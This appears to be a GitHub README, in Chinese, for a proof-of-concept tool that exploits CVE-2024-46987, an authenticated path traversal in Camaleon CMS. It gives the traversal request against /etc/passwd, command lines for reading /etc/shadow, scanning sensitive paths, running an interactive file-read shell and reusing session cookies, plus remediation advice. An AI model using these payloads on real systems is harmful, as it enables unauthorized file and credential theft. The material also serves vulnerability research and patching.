BLUEBERRYP1LL/CVE-2024-46987

GitHub: BLUEBERRYP1LL/CVE-2024-46987

CVE-2024-46987 漏洞的概念验证工具,用于利用 Camaleon CMS 的路径遍历漏洞实现任意文件读取。

Stars: 0 | Forks: 0

# CVE-2024-46987 — Camaleon CMS 任意路径遍历 ## 概述 | 字段 | 详情 | |-------------|--------| | **CVE** | CVE-2024-46987 | | **产品** | Camaleon CMS | | **版本**| >= 2.8.0, < 2.8.2 (亦在 2.9.0 上确认) | | **类型** | 路径遍历 / 任意文件读取 (CWE-22) | | **鉴权** | 需要 (任意低权限账户) | | **CVSS** | 7.7 高危 — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` | | **修复于**| 2.8.2 | ## 漏洞详情 `MediaController#download_private_file` 将未经处理的 `params[:file]` 传递给 `fetch_file`: ``` # Vulnerable sink fetch_file("private/#{params[:file]}") ``` 在将该值用于 `send_file` 之前未应用路径规范化,允许通过认证的攻击者利用 `../` 序列跳出 `private/` 目录,并读取 Rails 进程有权访问的任意文件。 **易受攻击的端点:** ``` GET /admin/media/download_private_file?file=../../../../../../etc/passwd ``` ## 环境要求 - Python 3.8+ - `requests` 库 ``` pip3 install requests ``` ## 使用方法 ``` usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME) [-P PASSWORD] [-f FILE] [-d DEPTH] [--interesting] [--interactive] [--no-verify] [--debug] ``` ### 基于凭据的认证 ``` # 读取 /etc/passwd (默认) python3 CVE-2024-46987.py -u http://target.com -U admin -P password # 读取特定文件 python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow # 自动扫描高价值路径列表 python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting # 交互式文件读取 shell python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive ``` ### 复用现有会话 (来自 Burp Suite / 浏览器开发者工具) ``` # 单个文件 python3 CVE-2024-46987.py -u http://target.com \ --cookie "_app_session=XXXX" -f /etc/passwd # 交互式 shell python3 CVE-2024-46987.py -u http://target.com \ --cookie "_app_session=XXXX; auth_token=YYYY" --interactive ``` ### 选项 | 标志 | 描述 | |------|-------------| | `-u` | 目标基础 URL | | `-U` / `-P` | CMS 用户名和密码 | | `--cookie` | 原始 Cookie 字符串 (替代凭据) | | `-f` | 要读取的文件路径 (默认: `/etc/passwd`) | | `-d` | 遍历深度 —— 预置的 `../` 数量 (默认: `10`) | | `--interesting` | 遍历内置的高价值路径列表 | | `--interactive` | 交互式文件读取 Shell | | `--no-verify` | 禁用 TLS 证书验证 | | `--debug` | 输出详细日志以诊断认证失败 | ## 关于 `/proc` 伪文件的说明 `/proc/self/` 下的文件 (例如 `environ`, `cmdline`) 会返回 HTTP 200 但正文为空。这是预期行为 —— 内核将其大小报告为 0,因此 Rails 的 `send_file` 不会流式传输任何内容。请改用常规的平面文件。 ## 修复建议 将 Camaleon CMS 升级至 **2.8.2 或更高版本**。该补丁添加了适当的路径规范化,并确保在调用 `send_file` 之前解析后的路径仍位于预期目录内。 或者: - 在使用前规范化所有用户提供的文件路径。 - 拒绝任何包含 `..` 序列的输入。 - 对运行 Rails 进程的操作系统用户应用最小权限原则。 ## 参考资料 - [GHSA-cp65-5m9r-vc2c](https://github.com/advisories/GHSA-cp65-5m9r-vc2c) — GitHub 安全公告 - [GHSL-2024-183](https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/) — GitHub 安全实验室 - [NVD — CVE-2024-46987](https://nvd.nist.gov/vuln/detail/CVE-2024-46987) ## 免责声明 此概念验证仅用于教育目的,并协助安全专业人员在授权的测试环境中理解和复现该漏洞。作者不对任何误用行为负责。在对非自有系统进行测试之前,请务必获得明确的书面许可。
标签:Camaleon CMS, CMS 漏洞, CVE-2024-46987, CWE-22, Exploit, Maven, PoC, Python, Ruby on Rails, Web 安全, 任意文件读取, 内存转储, 无后门, 暴力破解, 漏洞验证, 网络安全审计, 认证后漏洞, 路径遍历, 逆向工具